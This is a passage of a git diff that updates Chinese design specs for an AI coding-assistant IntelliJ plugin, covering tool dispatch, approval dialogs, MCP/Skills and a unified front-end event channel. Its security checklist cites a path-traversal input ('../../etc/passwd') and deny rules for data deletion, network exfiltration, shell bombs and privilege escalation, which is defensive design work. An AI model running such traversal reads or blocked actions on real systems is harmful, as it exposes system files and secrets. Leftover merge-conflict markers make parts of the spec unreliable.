| Step 8, 11 | SkillCard、groupReducer | +| **Step 13** | 集成测试 & 清理 | Step 12 | 测试文件、删除废弃代码 | +>>>>>>> Stashed changes 每个步骤完成后可独立验证。 +### 16.1 Step 6 风险控制 + +ChatService 重构是风险最高的步骤(删除 ~120 行替换为 ~15 行)。建议: + +- 在 `SettingsState` 中增加 `unifiedToolsEnabled: Boolean` 开关(默认 `true`) +- 旧代码路径保留,当开关关闭时回退到原有 `run_command` 硬编码逻辑 +- Step 7-8 完成并验证通过后,在下一个版本中移除旧路径和 feature flag + +### 16.2 错误恢复与超时策略 + +| 场景 | 策略 | 说明 | +|------|------|------| +| 工具执行超时 | `run_command` 使用 `commandTimeoutSeconds`;其他工具由 Dispatcher 设置全局超时(默认 120s) | 超时返回 `ToolResult(ok=false)`,不中断 Agent Loop | +| SSE 连接中断 | Dispatcher 检测到连接断开时,取消所有 `pendingApprovals` | `suspendCancellableCoroutine` 的 `invokeOnCancellation` 清理状态 | +| MCP 工具调用失败 | 不重试,直接返回 `ToolResult(ok=false)` | AI 根据 `ok=false` 自行决定是否重试 | +| 审批超时 | `withTimeout(60_000)` 自动拒绝 | 见 7.4 | +| 工具执行异常 | Dispatcher 的 `try/catch` 兜底 | 返回 `ToolResult(ok=false, error.message)` | + --- -## 16. 验收标准 +## 17. 验收标准 ### 功能验收 @@ -952,19 +2078,44 @@ MCP Server Trust (Phase 4) - [ ] `read_file` 支持按行分块读取,截断时提示模型继续 - [ ] `edit_file` 在 search 文本不存在或多次匹配时返回清晰错误 - [ ] `grep_files` 在无外部 rg 时仍可通过 IntelliJ API 正常搜索 -- [ ] 文件修改弹出 diff 审批,用户可接受/拒绝 -- [ ] 新建文件弹出确认框(显示路径、大小、内容预览) +- [ ] 文件修改弹出 IDE 原生 DiffDialog(与 Git diff 同组件),用户可 Accept / Reject +- [ ] 新建文件弹出 IDE 原生 ConfirmDialog,内容使用 EditorTextField 展示 +- [ ] DiffDialog 支持 F7 / Shift+F7 变更导航和语法高亮 +- [ ] diff 超过 100 行时 DiffDialog 顶部展示摘要条(含涉及函数/类名) +- [ ] 信任模式下文件写入后,编辑器展示内联高亮(与 Git uncommitted changes 一致) +- [ ] 信任模式下变更可通过 Ctrl+Z 撤销 +- [ ] Post-Edit 管线自动执行 Optimize Imports + Reformat Code +- [ ] Post-Edit 管线异步执行 Inspection,error 级别反馈给 AI +- [ ] 前端"Open in Editor"按钮可打开 IDE 编辑器并定位到变更区域 +- [ ] DiffDialog 勾选"Trust this session"后,后续文件修改进入信任模式 +- [ ] 新对话或 IDE 重启后,会话信任状态重置为 false +- [ ] Settings 中 `allowSessionFileTrust = false` 时 DiffDialog 不展示信任选项 - [ ] 同文件并发写入串行执行,不丢失修改 - [ ] Settings 切换 permissionMode 后行为立即变化 - [ ] IDE 重启后 Settings 配置保留 +- [ ] `dispatchAll` 动态分区:`run_command cat` 与 `read_file` 可并发执行 +- [ ] 多 tool_call 结果按原始顺序返回(不因并发打乱) +- [ ] 工具输出超过 50KB 时自动截断,`truncated=true` 且 `outputPath` 有值 +- [ ] 截断后的 `outputPath` 可通过 `read_file` 读取完整内容 +- [ ] Pre-Hook 返回非 null ToolResult 时跳过 executor 执行 +- [ ] Post-Hook 在工具执行后(含失败、含拦截)均被调用 +- [ ] Pre-Hook 拦截后不调用后续 Pre-Hook(短路语义) +- [ ] Hook 抛出异常时不阻断工具执行流程 +- [ ] 单轮 Agent Loop tool_call 超过 20 次时终止循环 +- [ ] 单次 API 响应 tool_call 超过 10 个时拒绝执行 ### 安全验收 - [ ] 路径穿越攻击被阻止(`../../etc/passwd`) - [ ] workspace 外的路径访问被拒绝 -- [ ] ToolRegistry.execute 永不抛出未捕获异常 +- [ ] deny_rules 6 条初始规则均生效(危险删除、网络外泄、Shell 炸弹、权限提升) +- [ ] ToolCallDispatcher.dispatch 永不抛出未捕获异常(try/catch 兜底) - [ ] 审批超时 60 秒自动拒绝 - [ ] MCP 工具默认需审批,加入信任列表后才自动放行 +- [ ] MCP 工具参数超过 1MB 时被拒绝(Dispatcher 内置校验,非 Hook) +- [ ] MCP 工具缺少必填参数时被拒绝 +- [ ] 单次 API 响应超过 10 个 tool_call 时拒绝执行 +- [ ] 单轮 Agent Loop 超过 20 次 tool_call 时终止循环 ### 回归验收 @@ -974,16 +2125,117 @@ MCP Server Trust (Phase 4) - [ ] 前端现有功能(Chat、Settings、Commit 生成)不受影响 - [ ] 工具功能关闭时(`commandExecutionEnabled=false`)行为与现有一致 -### MCP 预留验收 +### MCP 验收 - [ ] `ToolExecutor` 接口可被 MCP 工具实现 - [ ] `addTools` 去重机制正确工作 - [ ] `removeTool` 可正确移除工具 - [ ] `dispose` 反序调用所有清理函数 +- [ ] MCP `annotations.readOnlyHint` 正确映射到 `isConcurrencySafe` / `isReadOnly` +- [ ] MCP `annotations.destructiveHint` 正确映射到 `isDestructive` +- [ ] 未声明 annotations 的 MCP 工具,所有能力方法默认返回 `false`(fail-closed) +- [ ] stdio MCP Server 可正常连接、listTools、调用、断开 +- [ ] SSE MCP Server 可正常连接、listTools、调用、断开 +- [ ] MCP Server 断开后,其工具从 Registry 移除,AI 不再调用 +- [ ] MCP Server 重连后,工具自动重新注册 +- [ ] Server 主动通知 `tools/list_changed` 时,差异更新 Registry +- [ ] Schema 变更的工具(inputSchema hash 不同)被正确更新 +- [ ] 心跳超时触发自动重连(指数退避) + +### Skills 验收 + +- [ ] `SkillRegistry` 可加载 `.codeplan/skills/*/SKILL.md` 的 frontmatter +- [ ] Skill 完整 prompt 在调用时才加载(懒加载) +- [ ] `execute_skill` 工具在 `buildOpenAiTools()` 中注册为单一工具 +- [ ] inline 模式:Skill prompt 注入当前对话,模型自行编排工具调用 +- [ ] fork 模式:启动独立子 Agent,有独立 token budget +- [ ] `paths` 条件激活:匹配文件时自动推荐对应 Skill +- [ ] 只含安全属性的 Skill 自动放行(不弹确认框) +- [ ] 含 `allowed-tools` / `hooks` 的 Skill 需用户确认 --- -## 附录 A:v1.0 → v2.0 变更摘要 +## 附录 A:变更摘要 + +<<<<<<< Updated upstream +======= +### v3.2 → v3.3(代码审查优化) + +| # | 变更 | 原因 | +|---|------|------| +| 1 | deny_rules 补充初始规则列表(6 条) | 原"黑名单"无具体内容,实现时无据可依 | +| 2 | FileWriteLock 移除 TOCTOU 清理逻辑,改为 dispose 时整体清理 | `isLocked` 检查和 `remove` 之间存在竞态,且 locks Map 大小受限于文件数量不构成内存问题 | +| 3 | `parallelMap` 改为 `coroutineScope { map { async }.awaitAll() }` 标准协程模式 | Kotlin 标准库无 `parallelMap`,避免实现时困惑 | +| 4 | `approval_request` 双字段过渡明确标注 v3.3 移除 `command` 字段 | 避免 deprecated 字段长期残留 | +| 5 | MCP 基础参数校验从 Hook 改为 Dispatcher 内置逻辑 | 安全校验不应依赖 Hook 注册的正确性,Hook 层预留给用户自定义校验 | +| 6 | `grep_files` 降级路径补充权限说明(内部调用自动放行) | 降级命令通过 CommandExecutionService 执行,需明确是否走审批 | +| 7 | `write_file` 新建文件确认从"前 20 行预览"改为"完整内容可滚动展示" | 20 行预览不足以让用户判断 500 行文件的安全性 | +| 8 | 新增工具调用频率限制(§6.5) | 防止 AI 无限循环调用工具 | +| 9 | ToolHook 执行语义明确化(Pre-Hook 短路 + Post-Hook 全执行 + 异常不阻断) | 原设计未定义多 Hook 拦截策略和异常处理 | +| 10 | `BackgroundTask.status` 补充枚举值定义 | 消除未定义类型 | +| 11 | §4.2 补充生命周期管理章节 | 修复原 4.1 → 4.3 节号跳跃 | +| 12 | 文件变更清单计数修正(22 → 20) | 原列表 21 个但实际 22,MCP 校验内置后减为 20 | +| 13 | 新增大 diff 摘要模式(§8.6) | diff 超 100 行时默认展示摘要(涉及函数/类名),降低用户阅读负担 | +| 14 | 新增审批疲劳缓解机制(§8.7) | 支持会话级信任——勾选后后续文件修改自动执行,仅展示内联变更通知 | +| 15 | Settings 新增 `allowSessionFileTrust`、`diffSummaryThreshold` 配置项 | 控制信任选项可见性和摘要阈值 | +| 16 | MCP 工具能力协商:映射 `annotations` 到 `isConcurrencySafe`/`isReadOnly`/`isDestructive`(§10.4) | MCP 工具可声明只读/破坏性,参与并发调度优化,不再全部串行 | +| 17 | MCP 传输层与连接管理(§10.5):stdio + SSE 双传输、心跳、指数退避重连 | MCP 连接不再是黑盒,可观测可恢复 | +| 18 | MCP Schema 热更新(§10.6):`tools/list_changed` 通知 → 差异更新 Registry | MCP Server 升级接口后无需重启连接 | +| 19 | Skills 架构(§11):Skill = Command,通过 SkillTool 统一调度,支持 inline/fork 两种模式 | 与 MCP 一起纳入本次实现,不再延后到 Phase 5 | +| 20 | Skills 懒加载 + 条件激活 + 权限控制(§11.5-11.7) | Token 优化和安全控制 | +| 21 | MCP 和 Skills 从"预留"升级为同步实现,迁移步骤扩展为 13 步(原 9 步) | 用户要求一次到位,不做分期 | +| 22 | §8 完全重写为"IDE 原生文件变更体验"——审批改用 IntelliJ DiffDialog / ConfirmDialog,信任模式改用编辑器内联高亮 + Ctrl+Z 撤销 | 这是 IDE 插件 vs CLI 的核心差异化,不能在 WebView 中模拟终端体验 | +| 23 | 新增 §8.5 Post-Edit 质量管线(Optimize Imports + Reformat Code + IDE Inspection) | CLI 工具做不到的 IDE 独有能力——AI 写完代码自动检查并反馈 | +| 24 | 移除 `file_change_request` / `file_create_request` Bridge 事件和 `FileChangeDialog` / `FileCreateConfirmDialog` 前端组件 | 审批改用 IDE 原生组件后,WebView diff 审批路径不再需要 | +| 25 | 新增 `openFile` Bridge 动作方法,前端"Open in Editor"可打开 IDE 编辑器定位到变更 | 前端与 IDE 编辑器的联动桥梁 | + +### v3.1 → v3.2(调度模型优化) + +| # | 变更 | 原因 | +|---|------|------| +| 1 | ToolSpec 新增动态能力声明(`isConcurrencySafe`/`isReadOnly`/`isDestructive`) | 静态 read/write 分类无法反映 `run_command` 动态分级的实际情况 | +| 2 | `dispatchAll` 改为动态分区模型(连续安全工具并发批次 + 非安全工具串行批次) | 替代粗粒度的 reads/writes 两档分类,提升并发效率 | +| 3 | 结果按原始 tool_call 顺序返回 | 模型需要有序结果理解因果关系 | +| 4 | 新增 Bash 错误级联策略(只读工具失败不级联) | 平衡安全性和效率:Bash 有隐式依赖需级联,Read 独立无需级联 | +| 5 | `ToolResult` 新增 `totalBytes`、`outputPath` 字段 | 支持大输出截断 + 持久化,防止 API 请求超限 | +| 6 | Dispatcher 新增输出截断步骤 | 工具输出超 50KB 自动截断并持久化到磁盘 | +| 7 | 新增 Pre/Post `ToolHook` 机制 | 为日志、指标、输入拦截等横切关注点预留扩展点 | +| 8 | MCP 工具新增基础参数校验(大小 + 必填) | 防止无效请求浪费网络往返 | +| 9 | 单工具限制为只操作一个文件路径 | 防止多文件操作在并发场景下导致死锁 | +| 10 | 文档版本号升为 v3.2 | 汇总本轮优化变更 | + +### v3.0 → v3.1(代码审查修复) + +| # | 变更 | 原因 | +|---|------|------| +| 1 | ToolRegistry 移除 `execute()` 方法,执行管线统一至 ToolCallDispatcher | 消除 Dispatcher 和 Registry 之间的职责重叠和重复查找 | +| 2 | 新增 7.2.1 并发调度模型(`dispatchAll`) | 明确多 tool_call 的并发/串行策略、部分失败策略、死锁预防 | +| 3 | `awaitApproval` 改用 `withTimeout` + `TimeoutCancellationException` | 修复原 `delay` + `resume` 的超时竞态,防止 `IllegalStateException` | +| 4 | `edit_file` 新增 `line_number` 参数用于消歧多处匹配 | 减少多匹配时 AI 往返次数 | +| 5 | `run_command` 动态分级增加"最佳努力"安全边界声明 | 明确管道/重定向中的恶意内容不在分级范围内,安全依赖审批兜底 | +| 6 | `read_file` 增加二进制文件检测和拒绝 | 避免将二进制内容传给模型 | +| 7 | `approval_request` 的 `command` 字段保留(deprecated)而非直接改名 | 避免前端 breaking change,双字段并行过渡一个版本 | +| 8 | `groupReducer` 审批状态改为 `Map` | 支持多个并发审批请求,防止互相覆盖 | +| 9 | Step 6 增加 feature flag 风险控制(`unifiedToolsEnabled`) | ChatService 重构风险最高,需可回退 | +| 10 | 新增 15.2 错误恢复与超时策略 | 补充工具超时、SSE 中断、MCP 失败等场景的处理策略 | +| 11 | `FileWriteLock` 增加 Mutex 清理逻辑 | 防止 `locks` Map 随文件路径无限增长 | +| 12 | 新增路径规范统一说明 | 消除 `read_file`(相对路径)和 `run_command`(绝对路径)的歧义 | +| 13 | `permissionMode` 使用枚举类型而非 String | 防止拼写错误,编译期类型安全 | +| 14 | `deny_rules` 补充 `run_command` 路径检查说明 | 明确命令参数中的路径穿越也在 deny_rules 中拦截 | +| 15 | `BackgroundTask` 补充字段定义 | 消除未定义类型 | + +>>>>>>> Stashed changes +### v2.0 → v3.0(适配统一事件通道 + 消息分组) + +| # | 变更 | 原因 | +|---|------|------| +| 1 | Bridge 事件体系(第 9 节)完全重写 | Phase 1 已将 15 个独立回调统一为 `onEvent(type, payload)` 通道,新增事件走 `buildEventJS()` 生成,不再注册独立回调 | +| 2 | `bridge.d.ts` 变更从"新增回调接口"改为"新增动作方法" | Bridge 接口只有 `onEvent` + 动作方法,新事件仅新增 payload 类型定义,新审批响通过新增动作方法 | +| 3 | 新增第 9.6 节"前端 groupReducer 扩展" | Phase 2 用 `groupReducer` 替代 `eventReducer`,新事件需在 reducer 中新增 case | +| 4 | 文件变更清单(第 14 节)增加前端组件和 reducer | Phase 2 引入 `AssistantGroup`、`groupReducer` 等新文件,需在清单中反映 | +| 5 | 迁移步骤(第 15 节)拆分 Bridge 扩展和前端扩展为独立步骤 | Bridge 事件扩展(`buildEventJS`)和前端组件开发(groupReducer + 审批弹框)可独立验证 | + +### v1.0 → v2.0(合并文档 + 优化设计) | # | 变更 | 原因 | |---|------|------| diff --git a/docs/superpowers/specs/2026-04-19-phase1-unified-event-channel-design.md b/docs/superpowers/specs/2026-04-19-phase1-unified-event-channel-design.md new file mode 100644 index 0000000..9cde0dd --- /dev/null +++ b/docs/superpowers/specs/2026-04-19-phase1-unified-event-channel-design.md @@ -0,0 +1,391 @@ +# Phase 1:统一事件通道设计 + +**日期:** 2026-04-19 +**状态:** Draft +**影响范围:** BridgeHandler, useBridge, App.tsx, eventReducer (新增) +**前置依赖:** 无 +**后续依赖:** Phase 2(前端消息分组)基于本阶段的统一事件通道 + +--- + +## 背景 + +CodePlanGUI 使用 Kotlin 后端通过 JBCefJSQuery 与 React 前端通信。当前在 `window.__bridge` 上注册了 15 个独立回调(`onStart`、`onToken`、`onEnd`、`onError`、`onStructuredError`、`onContextFile`、`onTheme`、`onStatus`、`onExecutionCard`、`onApprovalRequest`、`onExecutionStatus`、`onRestoreMessages`、`onLog`、`onContinuation`、`onRemoveMessage`)。每个回调独立通过 `useState` 更新 React 状态。 + +**问题:** +1. **状态逻辑分散**——15 个 `useCallback` 钩子分布在 App.tsx 中,难以推理状态转换。 +2. **可扩展性差**——添加 reasoning 支持或多轮工具调用需要更多回调和更多 hack。 +3. **调试困难**——事件流通过 15 个独立回调进入,无法统一追踪和日志记录。 + +**本阶段目标:** 用单一 `onEvent(type, payload)` 通道替代 15 个回调,引入 `eventReducer` 集中管理状态转换。行为完全不变——这是纯重构。 + +--- + +## 1.1 事件类型协议 + +所有事件使用统一格式: + +``` +StreamEvent = { type: string, payload: JSON 字符串 } +``` + +事件类型与现有回调一一对应: + +| 事件类型 | Payload | 替代 | +|---|---|---| +| `start` | `{msgId: string}` | `onStart` | +| `token` | `{text: string}` | `onToken` | +| `end` | `{msgId: string}` | `onEnd` | +| `round_end` | `{msgId: string}` | *(新增)* — 轮次以 tool_calls 结束但非最终结束 | +| `error` | `{message: string}` | `onError` | +| `structured_error` | `{type: string, message: string, action?: string}` | `onStructuredError` | +| `status` | `{providerName, model, connectionState, contextFile}` | `onStatus` | +| `context_file` | `{fileName: string}` | `onContextFile` | +| `theme` | `{mode: "dark" \| "light"}` | `onTheme` | +| `execution_card` | `{requestId, command, description}` | `onExecutionCard` | +| `approval_request` | `{requestId, command, description}` | `onApprovalRequest` | +| `execution_status` | `{requestId, status, result}` | `onExecutionStatus` | +| `log` | `{requestId, line, type}` | `onLog` | +| `continuation` | `{current: number, max: number}` | `onContinuation` | +| `remove_message` | `{msgId: string}` | `onRemoveMessage` | +| `restore_messages` | `{messages: string}`(JSON 编码的数组) | `onRestoreMessages` | + +注意:`round_end` 在 Phase 1 作为空操作占位符引入,使 Phase 2 可以消费它而无需再次修改 Kotlin。Phase 1 中后端不会发送它。 + +--- + +## 1.2 Kotlin 端:BridgeHandler 改动 + +**文件:** `BridgeHandler.kt` + +新增一个核心方法,生成 JS 字符串但不执行(调用方决定调度策略): + +```kotlin +private fun buildEventJS(type: String, payload: Map): String { + // 使用项目现有的 kotlinx.serialization 进行安全的 JSON 编码 + // 调用方传入 Map(而非预编码字符串)以避免双重编码问题 + val jsonPayload = json.encodeToString(payload) + return "window.__bridge.onEvent('$type', $jsonPayload)" +} +``` + +每个现有 `notifyXxx` 方法改为内部调用 `buildEventJS`,但保持相同的公开签名。调度策略(立即 vs 批量)不变: + +| 方法 | 策略 | 调度方式 | +|---|---|---| +| `notifyStart` | `flushAndPush`(立即,先刷空待处理批次) | `flushAndPush(buildEventJS("start", ...))` | +| `notifyToken` | `enqueueJS`(16ms 批量) | `enqueueJS(buildEventJS("token", ...))` | +| `notifyEnd` | `flushAndPush` | `flushAndPush(buildEventJS("end", ...))` | +| `notifyError` | `flushAndPush` | `flushAndPush(buildEventJS("error", ...))` | +| `notifyStructuredError` | `flushAndPush` | `flushAndPush(buildEventJS("structured_error", ...))` | +| `notifyExecutionCard` | `flushAndPush` | `flushAndPush(buildEventJS("execution_card", ...))` | +| `notifyApprovalRequest` | `flushAndPush` | `flushAndPush(buildEventJS("approval_request", ...))` | +| `notifyExecutionStatus` | `flushAndPush` | `flushAndPush(buildEventJS("execution_status", ...))` | +| `notifyLog` | `enqueueJS` | `enqueueJS(buildEventJS("log", ...))` | +| `notifyContinuation` | `pushJS`(立即,不刷空) | `pushJS(buildEventJS("continuation", ...))` | +| `notifyRemoveMessage` | `flushAndPush` | `flushAndPush(buildEventJS("remove_message", ...))` | +| `notifyRestoreMessages` | `flushAndPush` | `flushAndPush(buildEventJS("restore_messages", ...))` | +| `notifyStatus` | `flushAndPush` | `flushAndPush(buildEventJS("status", ...))` | +| `notifyContextFile` | `pushJS`(立即,不刷空) | `pushJS(buildEventJS("context_file", ...))` | +| `notifyTheme` | `pushJS`(立即,不刷空) | `pushJS(buildEventJS("theme", ...))` | + +注意:`pushJS` 立即发送但不刷空待处理批次。这是 `notifyContextFile` 和 `notifyTheme` 的当前行为,保持不变。这些事件是非关键性的,不需要相对于待处理 token 保持顺序。 + +**为 Phase 2 准备的新方法:** + +```kotlin +fun notifyRoundEnd(msgId: String) = + flushAndPush(buildEventJS("round_end", mapOf("msgId" to msgId))) +``` + +此方法在 Phase 1 添加但不调用。Phase 2 激活它。 + +**重要实现细节:** `buildEventJS` 仅生成 JS 字符串,不执行。调用方(`notifyXxx`)决定将其传给 `enqueueJS`、`flushAndPush` 还是 `pushJS`,与现有方式一致。这保留了当前的顺序保证:结构事件总是在执行前刷空待处理 token。 + +**`ChatService.kt`:零改动。** 继续调用 `bridgeHandler?.notifyStart(msgId)` 等。 + +--- + +## 1.3 前端:Bridge 接口变更 + +**文件:** `types/bridge.d.ts` + +```typescript +interface Bridge { + // 单一事件通道(Kotlin → JS) + onEvent: (type: string, payloadJson: string) => void + + // 动作方法(JS → Kotlin)— 不变 + sendMessage: (text: string, includeContext: boolean) => void + approvalResponse: (requestId: string, action: string, addToWhitelist?: boolean) => void + cancelStream: () => void + newChat: () => void + openSettings: () => void + debugLog: (message: string) => void + frontendReady: () => void +} +``` + +--- + +## 1.4 前端:useBridge Hook + +**文件:** `useBridge.ts` + +用单一 `onEvent` 处理器替代 15 个独立回调注册。现有的 `bridge_ready` 生命周期和动作方法注入模式保持不变——仅事件接收端变更。 + +```typescript +type EventHandler = (type: string, payload: any) => void + +export function useBridge(onEvent: EventHandler): boolean { + const [bridgeReady, setBridgeReady] = useState(false) + const frontendReadySentRef = useRef(false) + const onEventRef = useRef(onEvent) + onEventRef.current = onEvent + + const setup = useCallback(() => { + // 不要完全覆盖 window.__bridge。 + // BridgeHandler 通过 JBCefJSQuery 注入动作方法(sendMessage、approvalResponse 等)。 + // 我们仅在现有对象上设置 onEvent 处理器, + // 或在 BridgeHandler 尚未注入时创建占位对象。 + if (!window.__bridge) { + window.__bridge = {} as any + } + window.__bridge.onEvent = (type: string, payloadJson: string) => { + try { + const payload = JSON.parse(payloadJson) + onEventRef.current(type, payload) + } catch (e) { + console.warn(`[CodePlanGUI] Failed to parse event payload: type=${type}`, e) + } + } + setBridgeReady(true) + + // 如果尚未发送,发送 frontendReady 信号 + if (!frontendReadySentRef.current && window.__bridge.frontendReady) { + frontendReadySentRef.current = true + window.__bridge.frontendReady() + } + }, []) + + useEffect(() => { + setup() + // 监听 bridge_ready 事件(BridgeHandler JS 注入后触发) + document.addEventListener("bridge_ready", setup) + return () => document.removeEventListener("bridge_ready", setup) + }, [setup]) + + return bridgeReady +} +``` + +与当前实现的关键区别: +- 15 个独立回调参数(`onStart`、`onToken` 等)被单一 `onEvent` 处理器替代。 +- `onEventRef` 模式确保始终调用最新的处理器而无需每次渲染重新注册。 +- `bridge_ready` 事件监听器、`frontendReady` 信号和 `bridgeReady` 状态全部保留。 + +--- + +## 1.5 前端:eventReducer + +**文件:** 新文件 `eventReducer.ts`(从 App.tsx 逻辑中提取) + +```typescript +interface AppState { + messages: Message[] + isLoading: boolean + error: BridgeError | null + status: BridgeStatus + themeMode: "dark" | "light" + approvalOpen: boolean + approvalRequestId: string + approvalCommand: string + approvalDescription: string + continuationInfo: { current: number; max: number } | null +} + +export function eventReducer(state: AppState, type: string, payload: any): AppState { + switch (type) { + case "start": + return { + ...state, + isLoading: true, + error: null, + messages: [...state.messages, { id: payload.msgId, role: "assistant", content: "", isStreaming: true }], + } + + case "token": + return { + ...state, + messages: state.messages.map(m => + m.isStreaming ? { ...m, content: m.content + payload.text } : m + ), + } + + case "end": + return { + ...state, + isLoading: false, + continuationInfo: null, + messages: state.messages.map(m => + m.isStreaming ? { ...m, isStreaming: false } : m + ), + } + + case "round_end": + // Phase 1:空操作,Phase 2 激活 + return state + + case "error": + return { + ...state, + isLoading: false, + continuationInfo: null, + messages: state.messages.map(m => + m.isStreaming ? { ...m, isStreaming: false } : m + ), + error: { type: "runtime", message: payload.message }, + } + + case "structured_error": + return { + ...state, + isLoading: false, + messages: state.messages.map(m => + m.isStreaming ? { ...m, isStreaming: false } : m + ), + error: { type: payload.type, message: payload.message, action: payload.action }, + } + + case "execution_card": + return { + ...state, + messages: [...state.messages, { + id: payload.requestId, + role: "execution" as const, + content: "", + execution: { requestId: payload.requestId, command: payload.command, status: "running" as ExecutionStatus }, + }], + } + + case "approval_request": + return { + ...state, + approvalRequestId: payload.requestId, + approvalCommand: payload.command, + approvalDescription: payload.description, + approvalOpen: true, + messages: state.messages.map(m => + m.id === payload.requestId + ? { ...m, execution: { ...m.execution!, status: "waiting" as ExecutionStatus } } + : m + ), + } + + case "execution_status": { + const result = parseExecutionResultPayload(payload.result) + return { + ...state, + messages: state.messages.map(m => + m.id === payload.requestId + ? { ...m, execution: { ...m.execution!, status: payload.status as ExecutionStatus, result } } + : m + ), + } + } + + case "log": + return { + ...state, + messages: state.messages.map(m => + m.id === payload.requestId + ? { ...m, execution: { ...m.execution!, logs: [...(m.execution?.logs || []), { text: payload.line, type: payload.type as LogEntry["type"] }] } } + : m + ), + } + + case "continuation": + return { ...state, continuationInfo: { current: payload.current, max: payload.max } } + + case "remove_message": + return { ...state, messages: state.messages.filter(m => m.id !== payload.msgId) } + + case "restore_messages": + // payload.messages 是 JSON 编码的字符串(后端双重编码)。 + // useBridge 中的外层 JSON.parse 已解码事件 payload, + // 因此 payload.messages 是需要第二次解析的字符串。 + return { ...state, messages: restoreFlatMessages(JSON.parse(payload.messages)) } + + case "status": + return { ...state, status: applyBridgeStatus(state.status, payload) } + + case "context_file": + return { ...state, status: applyContextFile(state.status, payload.fileName) } + + case "theme": + return { ...state, themeMode: payload.mode } + + default: + return state + } +} +``` + +--- + +## 1.6 前端:App.tsx 改动 + +用单一处理器替代 15 个 `useCallback`: + +```typescript +const emitFrontendDebugLog = useCallback((message: string) => { + window.__bridge?.debugLog(message) +}, []) + +const handleEvent = useCallback((type: string, payload: any) => { + // 调试日志副作用(从原始回调中保留) + if (type === "execution_card") { + emitFrontendDebugLog(`[approval-ui] received execution card requestId=${payload.requestId} command=${payload.command}`) + } else if (type === "approval_request") { + emitFrontendDebugLog(`[approval-ui] received approval request requestId=${payload.requestId}`) + } else if (type === "execution_status") { + emitFrontendDebugLog(`[approval-ui] received execution status requestId=${payload.requestId} status=${payload.status}`) + } + + setState(prev => eventReducer(prev, type, payload)) +}, [emitFrontendDebugLog]) +``` + +`useBridge` 接收 `handleEvent` 而非 15 个独立回调。 + +App.tsx 中所有其他逻辑(handleSend、handleKeyDown、handleNewChat、handleApprovalAllow/Deny、handleCancel)保持不变——它们使用 `window.__bridge?.sendMessage()` 等动作方法,不是事件回调。 + +--- + +## 1.7 改动总结 + +| 文件 | 改动 | +|---|---| +| `BridgeHandler.kt` | 内部重写 `notifyXxx` 方法使用 `buildEventJS`;新增 `notifyRoundEnd`(未使用) | +| `useBridge.ts` | 15 个回调参数替换为单一 `EventHandler`;保留 bridge_ready 生命周期 | +| `App.tsx` | 15 个 `useCallback` 替换为单一 `handleEvent` + `setState` reducer;保留调试日志副作用 | +| 新增:`eventReducer.ts` | 纯函数,将事件映射到状态变更 | +| `types/bridge.d.ts` | 更新 `Bridge` 接口 | +| `ChatService.kt` | **零改动** | + +--- + +## 部署清单 + +1. 在 `BridgeHandler.kt` 中实现 `buildEventJS` +2. 重写所有 `notifyXxx` 内部实现 +3. 新增 `notifyRoundEnd`(未使用,为 Phase 2 预留) +4. 创建 `eventReducer.ts` +5. 更新 `useBridge.ts` 为单一 `onEvent` +6. 更新 `App.tsx` 使用 `eventReducer` +7. 更新 `types/bridge.d.ts` +8. **测试验证:** 所有现有流程(单轮对话、工具调用、审批、续写、恢复)行为必须与改动前完全一致 + +## 回滚安全性 + +本阶段是纯透明重构——所有外部行为不变。如有问题可直接回滚,无数据迁移风险。 diff --git a/docs/superpowers/specs/2026-04-19-phase2-message-grouping-design.md b/docs/superpowers/specs/2026-04-19-phase2-message-grouping-design.md new file mode 100644 index 0000000..f71be23 --- /dev/null +++ b/docs/superpowers/specs/2026-04-19-phase2-message-grouping-design.md @@ -0,0 +1,488 @@ +# Phase 2:前端消息分组设计 + +**日期:** 2026-04-19 +**状态:** Draft +**影响范围:** App.tsx, groupReducer (新增), AssistantGroup.tsx (新增), AssistantMarkdown.tsx (新增), MessageBubble.tsx, ChatService.kt +**前置依赖:** Phase 1(统一事件通道)已完成 + +--- + +## 背景 + +Phase 1 已将 15 个独立回调统一为单一 `onEvent(type, payload)` 通道,状态变更集中在 `eventReducer` 中处理。当前前端仍使用扁平 `Message[]` 数组渲染消息。 + +**现有问题:** +1. **排序 hack**——`ChatService.kt` 中使用了 lazy `notifyStart` + `notifyRemoveMessage` + `bridgeNotifiedStart` 集合来保证执行卡片出现在最终助手文本气泡之前。 +2. **执行卡片散落**——多轮工具调用时,多张执行卡片和文本气泡平级排列,无法折叠,可能占满屏幕。 +3. **加载指示器复杂**——需要两段独立条件判断加载状态。 + +**本阶段目标:** 引入 `MessageGroup[]` 替代 `Message[]` 渲染,将执行卡片和最终回答归入同一 assistant 组,消除后端排序 hack。 + +--- + +## 2.1 数据模型 + +```typescript +type MessageGroup = + | { type: "human"; id: string; message: { id: string; content: string } } + | { type: "assistant"; id: string; children: AssistantChild[]; isStreaming: boolean } + +type AssistantChild = + | { kind: "execution"; data: ExecutionCardData } + | { kind: "text"; id: string; content: string; isStreaming: boolean } +``` + +关键属性: +- `MessageGroup` 是**纯前端概念**。后端和持久化层不感知。 +- 每个组有自己的 `id`(assistant 组从 `msgId` 派生)。 +- `assistant` 组的 `children` 是有序列表——执行卡片和文本按事件到达顺序排列。 +- 单个 assistant 组跨越一次用户回合的所有 API 轮次(包括多轮工具调用和自动续写)。 +- **msgId 不变量**:`ChatService.kt` 在单个用户回合的所有 API 轮次中使用相同的 `msgId`(`activeMessageId`)。Round 1 的 `start(msgId)` 和 Round 2 的 `start(msgId)` 携带相同的 `msgId`。组的 `id` 字段使用此 `msgId`,`start` 处理器通过检查最后一个组是否仍在流式传输来检测续写轮次。 + +--- + +## 2.2 事件 → 组映射:groupReducer + +**文件:** `groupReducer.ts`(替代 Phase 1 的 `eventReducer.ts`) + +```typescript +interface GroupState { + groups: MessageGroup[] + // 非消息状态保持不变 + isLoading: boolean + error: BridgeError | null + status: BridgeStatus + themeMode: "dark" | "light" + approvalOpen: boolean + approvalRequestId: string + approvalCommand: string + approvalDescription: string + continuationInfo: { current: number; max: number } | null + // 跟踪当前轮次的文本子项,用于 round_end 时可能的丢弃 + currentRoundTextIndex: number | null +} + +export function groupReducer(state: GroupState, type: string, payload: any): GroupState { + switch (type) { + case "start": { + // 创建新的 assistant 组(如果是续写轮次则复用) + const lastGroup = state.groups[state.groups.length - 1] + if (lastGroup?.type === "assistant" && lastGroup.isStreaming) { + // 这是续写/工具调用轮次——复用现有组 + return { ...state, isLoading: true, error: null, currentRoundTextIndex: null } + } + return { + ...state, + isLoading: true, + error: null, + currentRoundTextIndex: null, + groups: [...state.groups, { type: "assistant", id: payload.msgId, children: [], isStreaming: true }], + } + } + + case "token": { + // 查找或创建当前轮次的文本子项 + const lastGroup = state.groups[state.groups.length - 1] + if (lastGroup?.type !== 